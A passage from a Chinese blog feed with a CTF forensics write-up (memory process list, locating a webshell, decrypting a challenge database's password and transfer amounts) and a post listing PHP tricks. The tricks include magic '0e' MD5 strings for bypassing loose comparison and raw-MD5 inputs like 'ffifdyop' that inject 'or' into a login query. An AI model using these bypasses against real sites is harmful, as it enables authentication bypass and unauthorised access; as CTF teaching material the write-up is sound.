05:43:22.000000 N/ADisabled</span><br><span class="line">3316 532svchost.exe0xfa800ee6bb303570True2022-04-28 05:43:23.000000 N/ADisabled</span><br><span class="line">3396 2436SoftMgrLite.ex0xfa800eb76b30303601True2022-04-28 05:44:13.000000 N/ADisabled</span><br><span class="line">3496 2044TrueCrypt.exe0xfa800ec4b63052681True2022-04-28 05:46:22.000000 N/ADisabled</span><br><span class="line">2964 3496TrueCrypt Form0xfa800ea45b300-1False2022-04-28 05:46:35.000000 2022-04-28 05:47:59.000000 Disabled</span><br><span class="line">2548 2648SearchProtocol0xfa800ed7872073160False2022-04-28 05:52:53.000000 N/ADisabled</span><br><span class="line">2872 2044notepad.exe0xfa800ec2e6f01621False2022-04-28 05:54:13.000000 N/ADisabled</span><br><span class="line">2192 2044MagnetRAMCaptu0xfa800f103b30163331True2022-04-28 05:54:30.000000 N/ADisabled</span><br><span class="line">3880 2436360speedld.exe0xfa800ea7b9104941True2022-04-28 05:54:54.000000 N/ADisabled</span><br><span class="line">3604 660dllhost.exe0xfa800ef76b306911False2022-04-28 05:54:55.000000 N/ADisabled</span><br></pre></td></tr></table></figure><p>可以看到有个 MagnetRAMCaptu,一看就是制作内存镜像的,PID 就是答案。</p><h3 id="网站取证-1">网站取证_1</h3><p>直接搜索常见的木马特征如 <code>assert</code> <code>eval</code> 等发现直接找到了。</p><p>后门在 <code>runtime\temp</code> 目录下。</p><h3 id="网站取证-2">网站取证_2</h3><p>直接源码搜索“数据库”,发现有个 <code>database.php</code> 规定了数据库有关信息。</p><p>引用了 <code>encrypt/encrypt.php</code>,并且密码由 <code>my_encrypt()</code> 生成。</p><p>继续跟进,找到函数 my_encrypt,运行即可:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">my_encrypt</span>(<span class="params"></span>)</span>{</span><br><span class="line"> <span class="variable">$str</span> = <span class="string">'P3LMJ4uCbkFJ/RarywrCvA=='</span>;</span><br><span class="line"> <span class="variable">$str</span> = <span class="title function_ invoke__">str_replace</span>(<span class="keyword">array</span>(<span class="string">"/r/n"</span>, <span class="string">"/r"</span>, <span class="string">"/n"</span>), <span class="string">""</span>, <span class="variable">$str</span>);</span><br><span class="line"> <span class="variable">$key</span> = <span class="string">'PanGuShi'</span>;</span><br><span class="line"> <span class="variable">$iv</span> = <span class="title function_ invoke__">substr</span>(<span class="title function_ invoke__">sha1</span>(<span class="variable">$key</span>),<span class="number">0</span>,<span class="number">16</span>);</span><br><span class="line"> <span class="variable">$td</span> = <span class="title function_ invoke__">mcrypt_module_open</span>(MCRYPT_RIJNDAEL_128,<span class="string">""</span>,MCRYPT_MODE_CBC,<span class="string">""</span>);</span><br><span class="line"> <span class="title function_ invoke__">mcrypt_generic_init</span>(<span class="variable">$td</span>, <span class="string">"PanGuShi"</span>, <span class="variable">$iv</span>);</span><br><span class="line"> <span class="variable">$decode</span> = <span class="title function_ invoke__">base64_decode</span>(<span class="variable">$str</span>);</span><br><span class="line"> <span class="variable">$dencrypted</span> = <span class="title function_ invoke__">mdecrypt_generic</span>(<span class="variable">$td</span>, <span class="variable">$decode</span>);</span><br><span class="line"> <span class="title function_ invoke__">mcrypt_generic_deinit</span>(<span class="variable">$td</span>);</span><br><span class="line"> <span class="title function_ invoke__">mcrypt_module_close</span>(<span class="variable">$td</span>);</span><br><span class="line"> <span class="variable">$dencrypted</span> = <span class="title function_ invoke__">trim</span>(<span class="variable">$dencrypted</span>);</span><br><span class="line"> <span class="keyword">return</span> <span class="variable">$dencrypted</span>;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>得到答案 <code>KBLT123</code></p><h3 id="网站取证-3">网站取证_3</h3><p>发现金额有关的变量名都和 <code>money</code> 有关,源码搜索,发现 <code>$param['money'] = $this->encrypt($param['money']);</code></p><p>查看 encrypt 函数:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">encrypt</span>(<span class="params"><span class="variable">$data</span>, <span class="variable">$key</span> = <span class="string">'jyzg123456'</span></span>)</span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> <span class="variable">$key</span> = <span class="title function_ invoke__">md5</span>(<span class="variable">$key</span>);</span><br><span class="line"> <span class="variable">$x</span> = <span class="number">0</span>;</span><br><span class="line"> <span class="variable">$len</span> = <span class="title function_ invoke__">strlen</span>(<span class="variable">$data</span>);</span><br><span class="line"> <span class="variable">$l</span> = <span class="title function_ invoke__">strlen</span>(<span class="variable">$key</span>);</span><br><span class="line"> <span class="variable">$char</span> = <span class="string">''</span>;</span><br><span class="line"> <span class="variable">$str</span> = <span class="string">''</span>;</span><br><span class="line"> <span class="keyword">for</span> (<span class="variable">$i</span> = <span class="number">0</span>; <span class="variable">$i</span> < <span class="variable">$len</span>; <span class="variable">$i</span>++)</span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">if</span> (<span class="variable">$x</span> == <span class="variable">$l</span>)</span><br><span class="line"> {</span><br><span class="line"> <span class="variable">$x</span> = <span class="number">0</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="variable">$char</span> .= <span class="variable">$key</span>{<span class="variable">$x</span>};</span><br><span class="line"> <span class="variable">$x</span>++;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">for</span> (<span class="variable">$i</span> = <span class="number">0</span>; <span class="variable">$i</span> < <span class="variable">$len</span>; <span class="variable">$i</span>++)</span><br><span class="line"> {</span><br><span class="line"> <span class="variable">$str</span> .= <span class="title function_ invoke__">chr</span>(<span class="title function_ invoke__">ord</span>(<span class="variable">$data</span>{<span class="variable">$i</span>}) + (<span class="title function_ invoke__">ord</span>(<span class="variable">$char</span>{<span class="variable">$i</span>})) % <span class="number">256</span>);</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> <span class="title function_ invoke__">base64_encode</span>(<span class="variable">$str</span>);</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>发现 Salt 就是 <code>jyzg123456</code>。</p><h3 id="网站取证-4">网站取证_4</h3><p>把数据库中表以及列的作用都弄明白:</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br></pre></td><td class="code"><pre><span class="line">COMMENT <span class="keyword">ON</span> <span class="keyword">COLUMN</span> "public"."tab_user"."id" <span class="keyword">IS</span> <span class="string">'用户id'</span>;</span><br><span class="line">COMMENT <span class="keyword">ON</span> <span class="keyword">COLUMN</span> "public"."tab_user"."name" <span class="keyword">IS</span> <span class="string">'用户名'</span>;</span><br><span class="line">COMMENT <span class="keyword">ON</span> <span class="keyword">COLUMN</span> "public"."tab_user"."password" <span class="keyword">IS</span> <span class="string">'用户密码'</span>;</span><br><span class="line">COMMENT <span class="keyword">ON</span> <span class="keyword">COLUMN</span> "public"."tab_user"."role" <span class="keyword">IS</span> <span class="string">'用户权限角色</span></span><br><span class="line"><span class="string">1:超级管理员</span></span><br><span class="line"><span class="string">2:系统管理员</span></span><br><span class="line"><span class="string">3:仓库管理员</span></span><br><span class="line"><span class="string">4:门店管理员</span></span><br><span class="line"><span class="string">5:分销商</span></span><br><span class="line"><span class="string">6:装修公司</span></span><br><span class="line"><span class="string">7:业务员</span></span><br><span class="line"><span class="string">8:技术员'</span>;</span><br><span class="line">COMMENT <span class="keyword">ON</span> <span class="keyword">COLUMN</span> "public"."tab_user"."state" <span class="keyword">IS</span> <span class="string">'激活状态(1:激活使用 ,2:暂停使用)'</span>;</span><br><span class="line">COMMENT <span class="keyword">ON</span> <span class="keyword">COLUMN</span> "public"."tab_user"."belong_to" <span class="keyword">IS</span> <span class="string">'所属门店'</span>;</span><br><span class="line">COMMENT <span class="keyword">ON</span> <span class="keyword">COLUMN</span> "public"."tab_user"."nick_name" <span class="keyword">IS</span> <span class="string">'用户姓名'</span>;</span><br><span class="line">COMMENT <span class="keyword">ON</span> <span class="keyword">COLUMN</span> "public"."tab_user"."sex" <span class="keyword">IS</span> <span class="string">'性别(1:男 2:女)'</span>;</span><br><span class="line">COMMENT <span class="keyword">ON</span> <span class="keyword">COLUMN</span> "public"."tab_user"."tel" <span class="keyword">IS</span> <span class="string">'联系电话'</span>;</span><br><span class="line">COMMENT <span class="keyword">ON</span> <span class="keyword">COLUMN</span> "public"."tab_user"."address" <span class="keyword">IS</span> <span class="string">'地址'</span>;</span><br><span class="line">COMMENT <span class="keyword">ON</span> <span class="keyword">COLUMN</span> "public"."tab_user"."report_num" <span class="keyword">IS</span> <span class="string">'业务员最大报备数'</span>;</span><br><span class="line">COMMENT <span class="keyword">ON</span> <span class="keyword">COLUMN</span> "public"."tab_user"."is_create_time" <span class="keyword">IS</span> <span class="string">'创建时间'</span>;</span><br><span class="line">COMMENT <span class="keyword">ON</span> <span class="keyword">TABLE</span> "public"."tab_user" <span class="keyword">IS</span> <span class="string">'用户表'</span>;</span><br><span class="line"> </span><br><span class="line"><span class="keyword">INSERT</span> <span class="keyword">INTO</span> "public"."tab_user" <span class="keyword">VALUES</span> (<span class="number">3</span>, <span class="string">'张宝'</span>, <span class="string">'967ee505bd742d713528ad2e55a04bba'</span>, <span class="number">3</span>, <span class="number">1</span>, <span class="keyword">NULL</span>, <span class="string">''</span>, <span class="number">1</span>, <span class="string">''</span>, <span class="string">''</span>, <span class="keyword">NULL</span>, <span class="string">'158720003133'</span>, <span class="keyword">NULL</span>, <span class="string">'2018-04-09 19:00:00'</span>);</span><br><span class="line"><span class="keyword">INSERT</span> <span class="keyword">INTO</span> "public"."tab_user" <span class="keyword">VALUES</span> (<span class="number">4</span>, <span class="string">'李进'</span>, <span class="string">'34b5c38d19b3352df6db3e976b237d37'</span>, <span class="number">3</span>, <span class="number">1</span>, <span class="keyword">NULL</span>, <span class="string">''</span>, <span class="number">1</span>, <span class="string">''</span>, <span class="string">''</span>, <span class="keyword">NULL</span>, <span class="string">'18765877676'</span>, <span class="keyword">NULL</span>, <span class="string">'2018-04-09 19:00:00'</span>);</span><br><span class="line"><span class="keyword">INSERT</span> <span class="keyword">INTO</span> "public"."tab_user" <span class="keyword">VALUES</span> (<span class="number">5</span>, <span class="string">'王子豪'</span>, <span class="string">'f783ca62ff21833fdcfe3b74e1a82e1c'</span>, <span class="number">3</span>, <span class="number">1</span>, <span class="keyword">NULL</span>, <span class="string">'王子豪'</span>, <span class="number">1</span>, <span class="string">''</span>, <span class="string">''</span>, <span class="keyword">NULL</span>, <span class="string">''</span>, <span class="keyword">NULL</span>, <span class="string">'2020-04-18 16:04:53'</span>);</span><br><span class="line"><span class="keyword">INSERT</span> <span class="keyword">INTO</span> "public"."tab_user" <span class="keyword">VALUES</span> (<span class="number">6</span>, <span class="string">'赵燕'</span>, <span class="string">'bca725be29834465fa5a9e3bc6423b48'</span>, <span class="number">3</span>, <span class="number">1</span>, <span class="keyword">NULL</span>, <span class="string">'赵燕'</span>, <span class="number">2</span>, <span class="string">''</span>, <span class="string">''</span>, <span class="keyword">NULL</span>, <span class="string">''</span>, <span class="keyword">NULL</span>, <span class="string">'2020-04-18 16:06:06'</span>);</span><br><span class="line"><span class="keyword">INSERT</span> <span class="keyword">INTO</span> "public"."tab_user" <span class="keyword">VALUES</span> (<span class="number">1</span>, <span class="string">'superAdmin'</span>, <span class="string">'ca6d00723bc83590c909b0decc97e34d'</span>, <span class="number">1</span>, <span class="number">1</span>, <span class="keyword">NULL</span>, <span class="string">''</span>, <span class="number">1</span>, <span class="string">''</span>, <span class="string">''</span>, <span class="keyword">NULL</span>, <span class="string">'158736346560'</span>, <span class="keyword">NULL</span>, <span class="string">'2018-04-08 18:02:21'</span>);</span><br><span class="line"><span class="keyword">INSERT</span> <span class="keyword">INTO</span> "public"."tab_user" <span class="keyword">VALUES</span> (<span class="number">2</span>, <span class="string">'admin'</span>, <span class="string">'aa590a519a1c4862c5051a9bb0e07456'</span>, <span class="number">2</span>, <span class="number">1</span>, <span class="keyword">NULL</span>, <span class="string">''</span>, <span class="number">1</span>, <span class="string">''</span>, <span class="string">''</span>, <span class="keyword">NULL</span>, <span class="string">'158736377751'</span>, <span class="keyword">NULL</span>, <span class="string">'2018-04-09 18:22:21'</span>);</span><br><span class="line"></span><br><span class="line">COMMENT <span class="keyword">ON</span> <span class="keyword">COLUMN</span> "public"."tab_channel_order_list"."order_num" <span class="keyword">IS</span> <span class="string">'订单号'</span>;</span><br><span class="line">COMMENT <span class="keyword">ON</span> <span class="keyword">COLUMN</span> "public"."tab_channel_order_list"."currency" <span class="keyword">IS</span> <span class="string">'币种'</span>;</span><br><span class="line">COMMENT <span class="keyword">ON</span> <span class="keyword">COLUMN</span> "public"."tab_channel_order_list"."remark" <span class="keyword">IS</span> <span class="string">'备注'</span>;</span><br><span class="line">COMMENT <span class="keyword">ON</span> <span class="keyword">COLUMN</span> "public"."tab_channel_order_list"."is_create_time" <span class="keyword">IS</span> <span class="string">'创建时间'</span>;</span><br><span class="line">COMMENT <span class="keyword">ON</span> <span class="keyword">COLUMN</span> "public"."tab_channel_order_list"."payee_id" <span class="keyword">IS</span> <span class="string">'收款人ID'</span>;</span><br><span class="line">COMMENT <span class="keyword">ON</span> <span class="keyword">COLUMN</span> "public"."tab_channel_order_list"."payer_id" <span class="keyword">IS</span> <span class="string">'付款人ID'</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">-- ----------------------------</span></span><br><span class="line"><span class="comment">-- Records of tab_channel_order_list</span></span><br><span class="line"><span class="comment">-- ----------------------------</span></span><br><span class="line"><span class="keyword">INSERT</span> <span class="keyword">INTO</span> "public"."tab_channel_order_list" <span class="keyword">VALUES</span> (<span class="number">1</span>, <span class="string">'271188138699'</span>, <span class="string">'GG币'</span>, <span class="keyword">NULL</span>, <span class="string">'2022-04-01 00:00:50'</span>, <span class="number">4</span>, <span class="number">2</span>, <span class="string">'nJ1xlG5v'</span>);</span><br><span class="line">...</span><br><span class="line"><span class="keyword">INSERT</span> <span class="keyword">INTO</span> "public"."tab_channel_order_list" <span class="keyword">VALUES</span> (<span class="number">5000</span>, <span class="string">'622260854407'</span>, <span class="string">'GG币'</span>, <span class="keyword">NULL</span>, <span class="string">'2022-04-30 23:55:13'</span>, <span class="number">4</span>, <span class="number">3</span>, <span class="string">'lJRvnWtr'</span>);</span><br></pre></td></tr></table></figure><p>将语句处理成易于读取的格式:</p><p><code>data.txt</code>:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">(1, '271188138699', '2022-04-01 00:00:50', 4, 2, 'nJ1xlG5v')</span><br><span class="line">(2, '272206877227', '2022-04-01 00:23:01', 4, 3, 'lpZqmGps')</span><br><span class="line">...</span><br><span class="line">(4998, '331754109613', '2022-04-30 23:32:04', 6, 2, 'mplrlW9p')</span><br><span class="line">(4999, '109211499552', '2022-04-30 23:35:25', 4, 6, 'mphwnXBr')</span><br><span class="line">(5000, '622260854407', '2022-04-30 23:55:13', 4, 3, 'lJRvnWtr')</span><br></pre></td></tr></table></figure><p><code>exchange_rate.txt</code>:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><span class="line">('1', 0.05, '2022-04-01')</span><br><span class="line">('2', 0.04, '2022-04-02')</span><br><span class="line">('3', 0.06, '2022-04-03')</span><br><span class="line">('4', 0.05, '2022-04-04')</span><br><span class="line">('5', 0.07, '2022-04-05')</span><br><span class="line">('6', 0.10, '2022-04-06')</span><br><span class="line">('7', 0.15, '2022-04-07')</span><br><span class="line">('8', 0.17, '2022-04-08')</span><br><span class="line">('9', 0.23, '2022-04-09')</span><br><span class="line">('10', 0.22, '2022-04-10')</span><br><span class="line">('11', 0.25, '2022-04-11')</span><br><span class="line">('12', 0.29, '2022-04-12')</span><br><span class="line">('13', 0.20, '2022-04-13')</span><br><span class="line">('14', 0.28, '2022-04-14')</span><br><span class="line">('15', 0.33, '2022-04-15')</span><br><span class="line">('16', 0.35, '2022-04-16')</span><br><span class="line">('17', 0.35, '2022-04-17')</span><br><span class="line">('18', 0.37, '2022-04-18')</span><br><span class="line">('19', 0.38, '2022-04-19')</span><br><span class="line">('20', 0.40, '2022-04-20')</span><br><span class="line">('21', 0.38, '2022-04-21')</span><br><span class="line">('22', 0.39, '2022-04-22')</span><br><span class="line">('23', 0.45, '2022-04-23')</span><br><span class="line">('24', 0.44, '2022-04-24')</span><br><span class="line">('25', 0.50, '2022-04-25')</span><br><span class="line">('26', 0.55, '2022-04-26')</span><br><span class="line">('27', 0.51, '2022-04-27')</span><br><span class="line">('28', 0.52, '2022-04-28')</span><br><span class="line">('29', 0.53, '2022-04-29')</span><br><span class="line">('30', 0.50, '2022-04-30')</span><br></pre></td></tr></table></figure><p>然后提取出题目要求的转账记录,根据前一题的加密脚本解密,然后按照汇率转成 RMB,求和即可。</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?php</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">decrypt</span>(<span class="params"><span class="variable">$data</span>, <span class="variable">$key</span> = <span class="string">'jyzg123456'</span></span>) </span>{</span><br><span class="line"> <span class="variable">$key</span> = <span class="title function_ invoke__">md5</span>(<span class="variable">$key</span>);</span><br><span class="line"> <span class="variable">$x</span> = <span class="number">0</span>;</span><br><span class="line"> <span class="variable">$data</span> = <span class="title function_ invoke__">base64_decode</span>(<span class="variable">$data</span>);</span><br><span class="line"> <span class="variable">$len</span> = <span class="title function_ invoke__">strlen</span>(<span class="variable">$data</span>);</span><br><span class="line"> <span class="variable">$l</span> = <span class="title function_ invoke__">strlen</span>(<span class="variable">$key</span>);</span><br><span class="line"> <span class="variable">$char</span> = <span class="string">''</span>;</span><br><span class="line"> <span class="variable">$str</span> = <span class="string">''</span>;</span><br><span class="line"> <span class="keyword">for</span> (<span class="variable">$i</span> = <span class="number">0</span>; <span class="variable">$i</span> < <span class="variable">$len</span>; <span class="variable">$i</span>++) {</span><br><span class="line"> <span class="keyword">if</span> (<span class="variable">$x</span> == <span class="variable">$l</span>) {</span><br><span class="line"> <span class="variable">$x</span> = <span class="number">0</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="variable">$char</span> .= <span class="variable">$key</span>[<span class="variable">$x</span>];</span><br><span class="line"> <span class="variable">$x</span>++;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">for</span> (<span class="variable">$i</span> = <span class="number">0</span>; <span class="variable">$i</span> < <span class="variable">$len</span>; <span class="variable">$i</span>++) {</span><br><span class="line"> <span class="variable">$str</span> .= <span class="title function_ invoke__">chr</span>((<span class="title function_ invoke__">ord</span>(<span class="variable">$data</span>[<span class="variable">$i</span>]) - <span class="title function_ invoke__">ord</span>(<span class="variable">$char</span>[<span class="variable">$i</span>]) + <span class="number">256</span>) % <span class="number">256</span>);</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> <span class="variable">$str</span>;</span><br><span class="line">}</span><br><span class="line"><span class="variable">$file</span> = <span class="title function_ invoke__">fopen</span>(<span class="string">"exchange_rate.txt"</span>, <span class="string">"r"</span>);</span><br><span class="line"><span class="variable">$rate</span> = <span class="keyword">array</span>();</span><br><span class="line"><span class="keyword">while</span>(!<span class="title function_ invoke__">feof</span>(<span class="variable">$file</span>)) {</span><br><span class="line"> <span class="variable">$str</span> = <span class="title function_ invoke__">fgets</span>(<span class="variable">$file</span>);</span><br><span class="line"> <span class="keyword">list</span>(<span class="variable">$id</span>, <span class="variable">$x</span>, <span class="variable">$time</span>) = <span class="title function_ invoke__">sscanf</span>(<span class="variable">$str</span>, <span class="string">"(%s %f, %s)"</span>);</span><br><span class="line"> <span class="variable">$rate</span>[] = <span class="variable">$x</span>;</span><br><span class="line">}</span><br><span class="line"><span class="title function_ invoke__">fclose</span>(<span class="variable">$file</span>);</span><br><span class="line"><span class="comment">// 3 -> 5</span></span><br><span class="line"><span class="variable">$file</span> = <span class="title function_ invoke__">fopen</span>(<span class="string">"data.txt"</span>, <span class="string">"r"</span>);</span><br><span class="line"><span class="variable">$res</span> = <span class="number">0</span>;</span><br><span class="line"><span class="keyword">while</span>(!<span class="title function_ invoke__">feof</span>(<span class="variable">$file</span>)) {</span><br><span class="line"> <span class="variable">$str</span> = <span class="title function_ invoke__">fgets</span>(<span class="variable">$file</span>);</span><br><span class="line"> <span class="keyword">list</span>(<span class="variable">$id_1</span>, <span class="variable">$id_2</span>, <span class="variable">$date</span>, <span class="variable">$time</span>, <span class="variable">$to</span>, <span class="variable">$from</span>, <span class="variable">$enc</span>) = <span class="title function_ invoke__">sscanf</span>(<span class="variable">$str</span>, <span class="string">"(%d, %s %s %s %d, %d, %s)"</span>);</span><br><span class="line"> <span class="keyword">if</span> (<span class="variable">$from</span> != <span class="number">3</span> || <span class="variable">$to</span> != <span class="number">5</span>) {</span><br><span class="line"> <span class="keyword">continue</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="variable">$enc</span> = <span class="title function_ invoke__">substr</span>(<span class="variable">$enc</span>, <span class="number">1</span>, <span class="title function_ invoke__">strlen</span>(<span class="variable">$enc</span>) - <span class="number">3</span>);</span><br><span class="line"> <span class="variable">$date</span> = <span class="title function_ invoke__">substr</span>(<span class="variable">$date</span>, <span class="title function_ invoke__">strlen</span>(<span class="variable">$date</span>) - <span class="number">2</span>, <span class="number">2</span>) - <span class="number">1</span>;</span><br><span class="line"> <span class="keyword">if</span> (<span class="variable">$date</span> < <span class="number">1</span> || <span class="variable">$date</span> > <span class="number">17</span>) {</span><br><span class="line"> <span class="keyword">continue</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="variable">$res</span> = <span class="variable">$res</span> + <span class="variable">$rate</span>[<span class="variable">$date</span>] * <span class="title function_ invoke__">decrypt</span>(<span class="variable">$enc</span>);</span><br><span class="line">}</span><br><span class="line"><span class="keyword">echo</span> <span class="variable">$res</span>;</span><br><span class="line"><span class="title function_ invoke__">fclose</span>(<span class="variable">$file</span>);</span><br></pre></td></tr></table></figure><p>最后答案是 <code>15758353.76</code></p>]]></content>
<summary type="html"><p>7月底划水打了蓝帽杯,然后一直没写 wp 鸽到现在,感觉整个暑假啥也没干,应该写点啥。</p></summary>
<category term="CTF" scheme="https://sxyugao.top/categories/CTF/"/>
<category term="蓝帽杯" scheme="https://sxyugao.top/categories/CTF/%E8%93%9D%E5%B8%BD%E6%9D%AF/"/>
<category term="蓝帽杯" scheme="https://sxyugao.top/tags/%E8%93%9D%E5%B8%BD%E6%9D%AF/"/>
</entry>
<entry>
<title>在CTF中常用到的PHP函数</title>
<link href="https://sxyugao.top/p/a1789b58.html"/>
<id>https://sxyugao.top/p/a1789b58.html</id>
<published>2022-03-04T11:56:37.000Z</published>
<updated>2023-04-09T09:09:54.648Z</updated>
<content type="html"><![CDATA[<p>本文列举了一些在 CTF 比赛中常用到的 PHP 函数。</p><span id="more"></span><h2 id="参数与字符串相关的函数">参数与字符串相关的函数</h2><div class="danger"><p>在 PHP8.x 中,这些函数不再接受数组的参数,会抛出 Fatal error 并结束运行,以下不再赘述。</p></div><p>在之前版本中能接受数组型参数这一特性常被网上称之为内置函数的松散性,虽然我也不懂为啥这样叫。。</p><h3 id="md5">md5</h3><p>以 32 字符十六进制数字形式返回散列值。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">md5($str[, bool $raw_output = FALSE])</span><br></pre></td></tr></table></figure><ul><li>raw_output<br>如果可选的 raw_output 被设置为 TRUE, 那么将以 16 字节长度的原始二进制格式返回</li></ul><p>如果参数为数组将会返回 NULL 并发出 Warning。</p><p>也可以借助返回以 <code>0e</code> 开头的数字字符串来实现绕过弱类型比较。</p><p>一些常见的例子:</p><table><thead><tr><th>字符串</th><th>md5值</th></tr></thead><tbody><tr><td>byGcY</td><td>0e591948146966052067035298880982</td></tr><tr><td>sonZ7y</td><td>0e463306343746311593316642162425</td></tr><tr><td>QNKCDZO</td><td>0e830400451993494058024219903391</td></tr><tr><td>240610708</td><td>0e462097431906509019562988736854</td></tr><tr><td>s878926199a</td><td>0e545993274517709034328855841020</td></tr><tr><td>s155964671a</td><td>0e342768416822451524974117254469</td></tr><tr><td>s214587387a</td><td>0e848240448830537924465865611904</td></tr><tr><td>s1665632922a</td><td>0e731198061491163073197128363787</td></tr><tr><td>s1836677006a</td><td>0e481036490867661113260034900752</td></tr></tbody></table><p>当然真正意义上的 md5 碰撞也是存在的,不过 CTF 应该不会涉及这么深吧。。</p><p>贴个链接:<a href="https://natmchugh.blogspot.com/2014/10/how-i-created-two-images-with-same-md5.html">https://natmchugh.blogspot.com/2014/10/how-i-created-two-images-with-same-md5.html</a></p><p>有意思的是,如果第二个参数是 true,可以弄出神奇的效果。</p><p>假如有这样的 SQL 语句:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="variable">$sql</span> = <span class="string">"SELECT * FROM admin WHERE username = 'admin' and password = '"</span>.<span class="title function_ invoke__">md5</span>(<span class="variable">$password</span>, <span class="literal">true</span>).<span class="string">"'"</span></span><br></pre></td></tr></table></figure><p>然后有这样的字符串:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">echo</span> <span class="title function_ invoke__">md5</span>(<span class="string">"129581926211651571912466741651878684928"</span>, <span class="literal">true</span>);</span><br><span class="line"><span class="comment">// T0Do#'or'8</span></span><br><span class="line"><span class="keyword">echo</span> <span class="title function_ invoke__">md5</span>(<span class="string">"ffifdyop"</span>, <span class="literal">true</span>);</span><br><span class="line"><span class="comment">// 'or'6]!r,b</span></span><br></pre></td></tr></table></figure><p>就能绕过 md5 的加密了。</p><h3 id="sha1">sha1</h3><p>和 md5 函数利用差不多,真正意义上的 sha1 碰撞也是存在的,不过 CTF 应该不会涉及这么深吧。。</p><p>贴个链接:<a href="https://shattered.it/">https://shattered.it/</a></p><h3 id="hash">hash</h3><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span 